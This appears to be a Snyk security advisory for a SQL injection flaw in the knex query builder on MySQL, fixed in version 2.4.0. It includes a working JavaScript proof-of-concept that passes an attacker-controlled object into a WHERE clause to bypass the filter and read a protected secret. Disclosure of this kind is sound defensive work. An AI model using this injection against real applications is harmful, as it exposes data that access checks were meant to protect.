Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade knex
to version 2.4.0 or higher.
knex is a query builder for PostgreSQL, MySQL and SQLite3
Affected versions of this package are vulnerable to SQL Injection due to missing escape of field objects, which allows ignoring the WHERE
clause of a SQL
query.
Note:
Exploiting this vulnerability is possible when using MySQL
DB.
const knex = require('knex')({
client: 'mysql2',
connection: {
host: '127.0.0.1',
user: 'root',
password: 'supersecurepassword',
database: 'poc',
charset: 'utf8'
}
})
knex.schema.hasTable('users').then((exists) => {
if (!exists) {
knex.schema.createTable('users', (table) => {
table.increments('id').primary()
table.string('name').notNullable()
table.string('secret').notNullable()
}).then()
knex('users').insert({
name: "admin",
secret: "you should not be able to return this!"
}).then()
knex('users').insert({
name: "guest",
secret: "hello world"
}).then()
}
})
attackerControlled = {
"name": "admin"
}
knex('users')
.select()
.where({secret: attackerControlled})
.then((userSecret) => console.log(userSecret))